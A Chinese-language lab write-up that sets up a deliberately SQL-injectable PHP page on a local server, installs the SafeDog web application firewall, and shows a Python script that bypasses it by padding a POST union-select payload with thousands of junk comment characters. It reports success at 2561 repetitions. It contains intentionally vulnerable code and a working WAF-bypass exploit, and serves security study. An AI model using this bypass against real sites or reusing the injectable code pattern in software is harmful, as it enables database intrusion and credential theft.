搭建简单的sql注入环境
在test数据库中创建sqltest表,插入字段数据
编写存在注入的php文件
<?php $id = $_REQUEST['uid']; echo "您当前执行的sql语句为:" ; echo "select * from sqltest where id=" . $id . "<br/>"; echo "<hr>"; $mysqli = new mysqli('127.0.0.1','root','root','test'); if(mysqli_connect_errno()){ printf("连接失败:%s<br>",mysqli_connect_error()); exit(); } $mysqli->set_charset("utf8"); $result = $mysqli->query("select * from sqltest where id=$id"); //print_r($result->fetch_array(MYSQLI_ASSOC)); while(list($id,$username,$password)=$result->fetch_row()){ echo "用户ID:" . $id . "<br/>"; echo "用户名:" . $username . "<br/>"; echo "用户密码:" . $password . "<br/>"; } $result->close(); $mysqli->close();
或者老版写法
<?php $id = $_REQUEST['uid']; $conn = @mysql_connect('127.0.0.1','root','root'); //这里使用@符号屏蔽出错信息 mysql_select_db('test',$conn); $sql = "select * from sqltest where id=$id"; $result = mysql_query($sql); while($row = mysql_fetch_array($result)){ echo "用户ID:" . $row['id'] . "<br/>"; echo "用户名:" . $row['username'] . "<br/>"; echo "用户密码:" . $row['password'] . "<br/>"; } mysql_close($conn); echo "<hr>"; echo "您当前执行的sql语句为:" ; echo $sql; ?>
执行看下结果
安装安全狗
服务器名解决方法来自https://blog.csdn.net/nzjdsds/article/details/93740686
httpd.exe -k install -n apache2.0 如果要删除服务重新来,可以输下面这个,给你留着备用 sc delete apache2.0
bypass测试
可以用0=0和'-'判断字符数字型
因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理
get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符,并检测是否绕过waf,我们的payload 1 /*无用的字符*/ union select user(),2
import requests url = "http://192.168.41.129/index.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0" } try: for i in range(100,2999): st = "/*"+"ABC"*i+"*/ union select user(),2,3" data={ "uid":"1 %s " %st } print(i) res= requests.post(url,headers=headers,data=data).text print(data) print(res) if res.find("root")!=-1: print(i) break except: print('终止执行')
我这里在2561时候可以注出数据
其实可以发现安全狗对于post的过滤不严,对于get的过滤比较严格
没有绕过的部分,都是返回500。应该是安全狗的post规则中的过滤。
而get类型中的规则的过滤地方不同。
可以看出对于post过滤不严,对于get过滤严格。
我这里测试可以通过2561个ABC绕过,放入burp中尝试
验证失败
然后我又加了很多ABC测试发现可以绕过
绕过成功,这个版本比文章中的版本更高点。仍然可以绕过。
最好在源码里加上header("Content-type:text/html;charset=utf8"); 防止乱码
学习文章: